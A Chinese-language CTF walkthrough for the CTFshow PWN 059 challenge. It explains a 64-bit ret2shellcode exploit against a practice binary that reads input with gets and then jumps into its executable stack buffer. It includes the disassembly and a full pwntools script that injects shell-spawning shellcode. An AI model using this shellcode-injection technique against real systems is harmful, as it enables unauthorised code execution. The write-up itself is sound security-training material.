CTFshow PWN 059 详解:64 位架构下的 Ret2Shellcode 进阶与指令集适配
在上一关 pwn 058 中,我们通过 32 位的 call eax 成功在可执行栈上起舞。今天我们要面对的是它的 64 位进阶版 —— pwn 059。题目依然标榜着:"64 位 无限制"。
从 32 位跨越到 64 位,绝对不是简单的寄存器改个名字(r 开头)那么简单。地址空间的扩大、传参约定的改变以及对指令对齐的要求,都让这次的'无限制'挑战增加了一丝硬核的味道。
第一部分:题目信息与环境侦察
1. 检查保护机制 (checksec)
~/Desktop .............................................................. at 16:20:10 > checksec pwn
[*] '/home/shining/Desktop/pwn'
Arch: amd64-64-little <-- 核心差异:64 位架构
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing <-- 栈可执行 (RWX)
PIE: No PIE (0x400000)
Stack: Executable <-- 权限确认为 RWX
RWX: Has RWX segments
Stripped: No
深度原理分析: 依然是熟悉的 GNU_STACK missing。在 64 位环境下,这种配置同样意味着栈上没有任何执行限制。
- 64 位地址宽度:相比 32 位的 4 字节地址,64 位地址宽度达到了 8 字节,虽然寻址空间巨大,但这也意味着我们在构造 ROP 或填充时需要更精准的字节对齐。
- NX Missing:只要我们能把 RIP 指令指针引导到我们的缓冲区,程序就会像脱缰的野马一样开始解析执行我们的恶意 64 位机器码。
第二部分:破局思路与静态分析
在 64 位下,反编译器(F5)有时会因为复杂的栈平衡调整而报错。
1. 诡异的报错:Decompilation failure
当你尝试在 IDA 中按下 F5 时,可能会弹出:4006F9: call analysis failed
技术解毒:这不是你的 IDA 坏了,而是出题人故意使用了'寄存器间接调用'(Indirect Call)。由于 call rdx 在静态分析时无法确定 rdx 到底指向哪,IDA 的 F5 插件无法构建完整的控制流图,因此罢工。这时候,我们必须回归最原始的武器:阅读汇编。
2. 追踪漏洞点:ctfshow 函数
观察 ctfshow 的汇编实现:
.text:00000000004005BF mov [rbp+s], rdi ; 接收来自 main 的缓冲区地址
.text:00000000004005C3 mov rax, [rbp+s]
.text:00000000004005C7 mov rdi, rax ; 将地址传给 rdi 作为 gets 的参数
.text:00000000004005CF call _gets ; 【核心漏洞】无限制读取输入
.text:00000000004005D4 mov rax, [rbp+s]
.text:00000000004005D8 mov rdi, rax ; 传回给 puts 打印出来
.text:00000000004005DB call _puts
3. 致命一击:main 函数的执行流劫持
回到 main 函数,观察程序在调用 ctfshow 后的动作:
.text:00000000004006DE lea rax, [rbp+var_A0] ; 1. 计算栈上缓冲区 var_A0 的首地址
.text:00000000004006E5 mov rdi, rax ; 2. 作为参数传入 ctfshow
.text:00000000004006E8 call ctfshow ; 3. 调用 gets 往该地址填充数据
.text:00000000004006ED lea rdx, [rbp+var_A0] ; 4. 重新将同一块地址加载到 rdx
.text:00000000004006F4 mov eax, 0
.text:00000000004006F9 call rdx ; 5. 【绝杀】直接跳转到 rdx 执行!
逻辑总结: 这又是一个'官方后门'。程序在栈上开辟了 0xA0(160 字节)的空间,让你通过 gets 填入数据,填完后立刻通过 call rdx 命令 CPU 去执行这块空间的内容。由于栈是可执行的,我们只需注入 64 位 Shellcode。
第三部分:实战 EXP 编写与详解
在 64 位下编写 EXP,最重要的一步是正确设置 context。
1. 64 位与 32 位 Shellcode 的本质区别
在 64 位下编写 EXP,最重要的一步是正确设置 context。我们需要深刻理解 64 位与 32 位在底层的本质区别。
| 特性 | 32 位 (x86) | 64 位 (amd64) |
|---|---|---|
| 系统调用指令 | int 0x80 | syscall |
| 调用号寄存器 | eax | rax |
| 参数 1 寄存器 | ebx | rdi |
| 参数 2 寄存器 | ecx | rsi |
| 参数 3 寄存器 | edx | rdx |
| 参数 4-6 寄存器 | esi, edi, ebp | r10, r8, r9 |
| execve 调用号 | 11 (0x0b) | 59 (0x3b) |
| 地址/寄存器位宽 | 4 字节 (32-bit) | 8 字节 (64-bit) |
深度解析:
- 指令集进化:64 位引入了专用的
syscall指令,它比老旧的int 0x80软中断执行效率更高,且寄存器传参的改变减少了访存开销。 - 调用号剧变:这是新手最容易踩的坑。如果在 64 位代码里用
eax=11调syscall,你调用的其实是munmap而不是execve,结果必然是程序崩溃。
2. 攻击脚本 (EXP)
from pwn import *
# 1. 基础配置:由于是 64 位题目,必须指定架构为 amd64
context(arch='amd64', os='linux', log_level='debug')
# 2. 建立连接:本地调试用 process,远程用 remote
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28124)
# 3. 生成 Shellcode:利用 shellcraft 快速构造 amd64 拿 shell 的机器码
shellcode = asm(shellcraft.sh())
# 4. 发送攻击载荷:直接发送,不需要 Padding 填充
io.sendline(shellcode)
# 5. 开启交互:获取 Shell 权限
io.interactive()
第四部分:小白踩坑实录
1. 为什么 32 位的 Shellcode 跑不通?
64 位 CPU 的寻址和指令长度完全不同。在 64 位程序里跑 32 位代码会触发 Illegal Instruction。context(arch='amd64') 是你的救命稻草。
2. 远程连接 EOF 的排查
如果脚本在远程报错:
- 环境重置:检查远程环境状态,这是解决大部分问题的良药。
- 端口更新:确保
remote函数里的五位端口号与网页端当前显示的一致。
3. IDA 报错不要慌
遇到 call analysis failed 说明你撞到了'间接跳转'。手动看 call 前面的寄存器来源(比如本题的 rdx 是从哪来的),只要它指向你的输入区,直接打就完事了。

